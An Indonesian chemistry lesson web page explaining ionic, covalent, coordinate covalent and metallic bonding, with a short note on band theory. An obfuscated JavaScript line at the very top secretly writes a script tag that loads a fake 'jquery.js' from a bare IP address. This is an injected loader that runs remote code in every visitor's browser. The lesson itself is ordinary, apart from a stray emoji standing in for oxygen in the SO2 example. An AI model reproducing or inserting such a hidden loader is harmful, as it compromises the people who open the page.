var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])); Ikatan Kimia Antar Atom – Pembelajaran Kimia

Semua atom memiliki kecenderungan untuk stabil seperti konfigurasi gas mulia. Salah satu cara untuk menuju kestabilan adalah berikatan dengan atom lain dengan cara serah terima (transfer) electron ataupun dengan jalan berbagi electron untuk dipakai bersama-sama (sharing).

Kimiawan Jerman Albrecht Kossel (1853-1927) menganggap kestabilan gas mulia disebabkan konfigurasi elektronnya yang penuh (yakni, konfigurasi elektron di kulit terluarnya, kulit valensi, terisi penuh). Ia berusaha memperluas interpretasinya ke atom lain. Atom selain gas mulia cenderung mendapatkan muatan listrik (elektron) dari luar atau memberikan muatan listrik ke luar, bergantung apakah jumlah elektron di kulit terluarnya lebih sedikit atau lebihbanyak dari atom gas mulia yang terdekat dengannya.
Ikatan kimia secara garis besar dapat dibagi menjadi dua jenis, yaitu ikatan antar atom dan ikatan antar molekul. ikatan antar molekul akan dibahas pada kelas XI setelah teori atom kuantum (modern) diterima oleh siswa, sedangkan pada kesempatan kali ini kita akan membahas ikatan antar atom. Ikatan antar atom dibagi menjadi 3 kelas yaitu ikatan ionic, ikatan kovalen dan ikatan logam.

A. Ikatan Ionic (elektrovalen)
Bila suatu atom kehilangan elektron, atom tersebut akan menjadi kation yang memiliki jumlah elektron yang sama dengan gas mulia terdekat, sementara bila atom mendapatkan elektron, atom tersebut akan menjadi anion yang memiliki jumlah elektron yang sama dengan atom gas mulia terdekatnya. Ia menyimpulkan bahwa gaya dorong pembentukan ikatan kimia adalah gaya elektrostatik antara kation dan anion. Ikatan kimia yang dibentuk disebut dengan ikatan ionik. Ikatan ionic ini secara umum terjadi antara logam dengan non logam dengan serah terima electron dari logam (secara umum) kepada non logam.
Misalkan dalam seuatu kasus, kulit K dan L atom natrium (11Na)terisi penuh elektron, tetapi hanya ada satu elektron di kulit terluar (M). Jadi natrium dengan mudah kehilangan satu elektron terluar ini menjadi ion natrium Na+ yang memiliki konfigurasi elektron yang sama dengan atom neon 10Ne (1s22s22p6). Konfigurasi elektron atom khlor (17Cl) adalah 1s22s22p63s23p5. Bila satu atom khlorin menangkap satu elektron untuk melengkapi kulit M-nya agar menjadi terisi penuh, konfigurasi elektronnya menjadi (1s22s22p63s23p6) yang identik dengan konfigurasi elektron argon Ar. Demikianlah kiranya senyawa NaCl terbentuk karena atom Na melepas 1 elektron untuk diterima oleh Cl.

Secara umum ikatan ionic terjadi antara kation dan anion dari golongan-golongan berikut:

Sedangkan untuk sifat-sifat senyawa ion adalah sebagai berikut :
1) Dalam bentuk padatan tidak menghantar listrik karena partikel-partikel
2) ionnya terikat kuat pada kisi, sehingga tidak ada elektron yang bebas bergerak.
3) Leburan dan larutannya menghantarkan listrik.
4) Umumnya berupa zat padat kristal yang permukaannya keras dan sukar digores.
5) Titik leleh dan titik didihnya tinggi.
6) Larut dalam pelarut polar dan tidak larut dalam pelarut nonpolar.

B. Ikatan Kovalen
Sekitar tahun 1916, dua kimiawan Amerika, Gilbert Newton Lewis (1875-1946) dan Irving Langmuir (1881-1957), secara independen menjelaskan apa molekul non polar. Titik krusial teori mereka adalah penggunaan bersama elektron oleh dua atom sebagai cara untuk mendapatkan kulit terluar yang diisi penuh elektron. Penggunaan bersama pasangan elektron oleh dua atom atau ikatan kovalen adalah konsep baru waktu itu
Ikatan kovalen adalah ikatan yang terjadi antara unsur nonlogam dengan unsur nonlogam yang lain dengan cara pemakaian bersama pasangan elektron. Adakalanya dua atom dapat menggunakan lebih dari satu pasang elektron. Apabila yang digunakan bersama dua pasang atau tiga pasang maka akan terbentuk ikatan kovalen rangkap dua atau rangkap tiga. Sifat-sifat senyawa kovalen secara umum adalah sebagai berikut.
1) Pada suhu kamar umumnya berupa gas (misal H2, O2, N2, Cl2, CO2), cair (misalnya:H2O dan HCl), ataupun berupa padatan.
2) Titik didih dan titik lelehnya rendah, karena gaya tarik-menarik antarmolekulnya lemah meskipun ikatan antaratomnya kuat.
3) Larut dalam pelarut nonpolar dan beberapa di antaranya dapat berinteraksi dengan pelarut polar.
4) Larutannya dalam air ada yang menghantar arus listrik (misal HCl) tetapi sebagian besar tidak dapat menghantarkan arus listrik, baik padatan, leburan, atau larutannya.
Jumlah elektron valensi yang digunakan untuk berikatan tergantung pada kebutuhan tiap atom untuk mencapai konfigurasi elektron seperti gas mulia (kaidah duplet atau oktet). Penggunaan bersama pasangan elektron digambarkan oleh Lewis menggunakan titik elektron. Lewis mengembangkan simbol untuk ikatan elektronik untuk membentuk molekul (struktur Lewis atau rumus Lewis) yang akan di bahas dalam bab Struktur Molekul Sesuai Aturan Lewis. Selain ikatan kovalen tunggal dan rangkap, juga ditemukan ikatan kovalen koordinasi karena atom pusat memberikan electron kepada atom pasangan dan atom pasangan tidak memberikan electron untuk berpasangan namun atom pusat tetap menganggap electron yang diberikan tetap menjadi miliknya, lebih mirip menyewakan electron untuk berpasangan.

a. Ikatan Kovalen Tunggal
Ikatan kovalen tunggal terjadi apabila dua atom yang berpasangan masing-masing menyerahkan sebuah elektron yang kemudian dipakai bersama. Hal ini terjadi pada HCl, dimana H menyerahkan 1 elektron, dan Cl juga menyerahkan 1 elektron, kemudian dipakai bersama-sama untuk berpasangan. Contoh lain dari ikatan kovalen tunggal adalah : HI, HF, H2O, CH4, NH3 dan H2

b. Ikatan Kovalen Ganda (rangkap 2)
Ikatan kovalen ganda terjadi apabila dua atom yang berpasangan masing-masing menyerahkan dua elektron yang kemudian dipakai bersama. Hal ini terjadi pada O2, dimana O masing-masing menyerahkan 2 elektron, kemudian dipakai bersama-sama untuk berpasangan. Contoh senyawa yang berikatan ganda adalah : C dengan O pada CO2, C dengan C dalam C2H4

c. Ikatan Kovalen Rangkap 3
Ikatan kovalen rangkap 3 terjadi apabila dua atom yang berpasangan masing-masing menyerahkan tiga elektron yang kemudian dipakai bersama. Hal ini terjadi pada N2, dimana N masing-masing menyerahkan 3 elektron, kemudian dipakai bersama-sama untuk berpasangan. Contoh senyawa yang berikatan rangkap 3 adalah : C dengan N pada HCN, C dengan C dalam C2H2

d. Ikatan Kovalen Koordinasi
Ikatan kovalen koordinasi terjadi karena atom pusat memberikan electron kepada atom pasangan dan atom pasangan tidak memberikan electron untuk berpasangan namun atom pusat tetap menganggap electron yang diberikan tetap menjadi miliknya, lebih mirip menyewakan electron untuk berpasangan.
Sifat sebenarnya dari valensi tambahan (koordinasi) ini diungkapkan oleh kimiawan Inggris Nevil Vincent Sidgewick (1873-1952). Ia mengusulkan sejenis ikatan kovalen dengan pasangan elektron yang hanya disediakan oleh salah satu atom, yakni ikatan koordinasi. Jadi atom yang menerima pasangan elektron harus memiliki orbital kosong yang dapat mengakomodasi pasangan electron (tentang orbital kosong akan dipelajari di kelas XI pada bab Hibridisasi).
Contoh misalkan pada SO2,
16S = 2, 8, 6 akan stabil dengan 2 elektron tambahan
😯 = 2, 6 akan stabil pula dengan 2 elektron tambahan
Dari gambaran diatas, secara ideal yang paling memungkinkan adalah S menyerahkan 2 elektron dan O menyerahkan 2 elektron kemudian dipakai bersama membentuk SO, namun permasalahanya adalah SO2, bagaimana selanjutnya? Tenang…
Dalam SO2, S adalah atom pusat sehingga mempunyai kewajiban untuk memberikan 2 elektron kepada atom O yang kedua agar stabil, namun S sudah stabil karena berpasangan dengan atom Oksigen pertama, maka atom S cukup memberi saja. Kemudian S dengan atom Oksigen kedua inilah yang disebut dengan kovalen koordinasi, karena S sebagai atom pusat hanya memberi dan O menerima, namun electron tersebut tetap dipakai bersama. Contoh lain senyawa dengan ikatan koordinasi adalah SO3,H2SO3, H2SO4, HNO3 dan H3PO4

C. Ikatan Logam
Dalam bentuk padat, atom-atom logam tersusun dalam susunan yang sangat rapat (closely packed). Susunan logam terdiri atas ion-ion logam dalam lautan electron. Dalam susunan seperti ini elektron valensinya relatif bebas bergerak dan tidak terpaku pada salah satu inti atom. Ikatan logam terjadi akibat interaksi antara elektron valensi yang bebas bergerak dengan inti atau kation-kation logam yang menghasilkan gaya tarik. Dalam percobaan sederhana dengan memukul arang dan besi, dapat dilihat bahwa arang (ikatan kovalen antarkarbon) akan hancur, sedangkan besi akan bengkok. Hal ini dapat terjadi karena lautan elektron pada kristal logam memegang erat ion-ion positif pada logam, sehingga apabila dipukul atau ditempa logam tidak akan pecah tercerai berai tetapi bergeser (terlihat bengkok). Hal inilah yang menyebabkan sifat logam ulet, dapat ditempa maupun diulur menjadi kawat.
Lebih dalam, setelah penemuan elektron, daya hantar logam yang tinggi dijelaskan dengan menggunakan model elektron bebas, yakni ide bahwa logam kaya akan elektron yang bebas bergerak dalam logam. Namun, hal ini tidak lebih dari model. Dengan kemajuan mekanika kuantum (dibahas di kelas XI), sekitar tahun 1930, teori MO yang mirip dengan yang digunakan dalam molekul hidrogen digunakan untuk masalah kristal logam. Elektron dalam kristal logam dimiliki oleh orbital-orbital dengan nilai energi diskontinyu, dan situasinya mirip dengan elektron yang mengelilingi inti atom. Namun, dengan meningkatnya jumlah orbital atom yang berinteraksi banyak, celah energi dari teori MO menjadi lebih sempit, dan akhirnya perbedaan antar tingkat-tingkat energi menjadi dapat diabaikan. Akibatnya banyak tingkat energi akan bergabung membentuk pita energi dengan lebar tertentu. Teori ini disebut dengan teori pita.
Tingkat energi logam magnesium merupakan contoh teori pita yang baik Elektron yang ada di orbital 1s, 2s dan 2p berada di dekat inti, dan akibatnya terlokalisasi di orbital-orbital tersebut. Hal ini ditunjukkan di bagian bawah gambar. Namun, orbital 3s dan 3p bertumpang tindih dan bercampur satu dengan yang lain membentuk MO. MO ini diisi elektron sebagian, sehingga elektron-elektron ini secara terus menerus dipercepat oleh medan listrik menghasilkan arus listrik. Dengan demikian, magnesium adalah konduktor. Bila orbital-orbital valensi (s) terisi penuh, elektron-elektron ini tidak dapat digerakkan oleh medan listrik kecuali elektron ini lompat dari orbital yang penuh ke orbital kosong di atasnya. Hal inilah yang terjadi dalam isolator.

Secara sederhana, jika sebuah electron 3s dari magnesium melompat ke 3p makan akan terbentuk sebuah jalan (pita) yang memberikan keleluasaan electron bergerak bebas dan mengalirkan listrik atau bisa juga disebut sebagai awan electron.

Daftar Pustaka:
Setyawati, Arifatun A. 2009. BSE Kimia SMA Kelas X : Mengkaji Fenomena Alam. Pusat Perbukuan Kemendiknas : Jakarta.
Takeuchi, Yoshihito, Prof. 2006. Terjemahan oleh Ismunandar : Pengantar Kimia Dasar. Copyright Iwanami Publising Company : Jepang, Buku Teks Online dengan bebas Pemakaian.

Categories: Artikel

1 Comment

Assa · December 24, 2017 at 2:32 am

Nice

Leave a Reply

Your email address will not be published. Required fields are marked *